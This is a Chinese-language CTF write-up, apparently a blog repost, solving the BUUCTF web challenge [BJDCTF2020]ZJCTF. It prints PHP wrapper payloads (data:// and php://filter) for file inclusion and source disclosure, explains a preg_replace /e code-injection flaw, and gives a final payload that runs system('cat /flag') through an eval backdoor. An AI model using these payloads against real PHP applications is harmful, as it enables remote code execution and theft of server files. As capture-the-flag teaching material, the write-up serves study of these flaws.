当前位置:网站首页>BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
-
进入环境后得到源码
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
-
使用PHP伪协议构造payload
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
回显
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
base64解密
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
-
这里可以看出cmd参数存在命令执行漏洞,但问题是如何调用getFlag()函数。这里涉及到 preg_replace /e 模式的代码执行漏洞
function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; }
若payload为
/?.*={${phpinfo()}}
则
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); 变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', { ${ phpinfo()}});
注意:正则表达式模式或部分模式两边添加
()
将导致匹配到的字符串存储到临时缓冲区中,缓冲区编号从1开始,最多存储99个子表达式。每个缓冲区都可以用\n
访问,其中n为缓冲区编号。preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
将会把{${phpinfo()}}
存储到缓冲区1,此时匹配后的字符串为/(\\1)/ei
,\\1
即\1
,这将会导致反向引用缓冲区的内容,将其修改为/{${phpinfo()}}/ei
,从而导致命令执行。 -
在本题中,PHP会将传入的非法的
$_GET
数组参数名转化为下划线,即将.*
转化为_
。可以修改payload为?\S*=${getFlag()}&cmd=...
其中
\S
表示匹配任何非空白字符,从而达到我们调用getFlag函数的目的 -
构造payload
?\S*=${getFlag()}&cmd=system('cat /flag');
回显
flag{6b53cc7c-e9e8-47a1-80ed-10ca16c81ae5} system('cat /flag');
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124351859
边栏推荐
- 亿级流量架构,服务器如何扩容?写得太好了!
- I changed to a programmer at the age of 31. Now I'm 34. Let me talk about my experience and some feelings
- 第二十三课 临时对象
- 网络信息安全之零信任
- Castle. Dynamic proxy implements transaction unit control
- Metalama简介4.使用Fabric操作项目或命名空间
- Markdown grammar learning
- Idea code quality specification plug-in sonarlint
- MySQL function - recursive function
- Stacks and queues a
猜你喜欢
Here comes the detailed picture and text installation tutorial of H5 game
网络信息安全之零信任
亿级流量架构,服务器如何扩容?写得太好了!
对话PostgreSQL作者Bruce:“转行”是为了更好地前行
Pre competition practice of TIANTI competition
传统企业如何应对数字化转型?这些书给你答案
Recommended programming AIDS: picture tool snipaste
QT draw image
AI video cloud vs narrowband HD, who is the darling of the video era
Qt绘制文字
随机推荐
Qt进程间通信
Fabric 1.0 source code analysis (33) implementation of peer channel command and subcommand
Idea code formatting plug-in save actions
Tan Xiang, CEO of Kechuang · Pera software: the essence of zero trust is digital security. To B should also deeply study the user's mind
A graphic designer's fantasy world | ones characters
How does sqlserver insert or update the number of weeks of the day instead of text
SQL exercise (I)
Qt双缓冲绘图
Next. JS static data generation and server-side rendering
In idea Solution to the problem of garbled code in Chinese display of properties file
c# 设置logo图标和快捷方式的图标
基于卷积神经网络的遥感影像分类识别系统
IDEA 代码格式化插件Save Actions
Database Navigator 使用默认MySQL连接提示:The server time zone value ‘Öйú±ê׼ʱ¼ä’ is unrecognized or repres
Dialogue with Bruce, author of PostgreSQL: "changing careers" is to better move forward
C set Logo Icon and shortcut icon
硬核解析Promise对象(这七个必会的常用API和七个关键问题你都了解吗?)
Why is the premise of hash% length = = hash & (length-1) that length is the nth power of 2
STM32控制步进电机(ULN2003+28byj)
Why is there a wrapper class? By the way, how to convert basic data types, wrapper classes and string classes?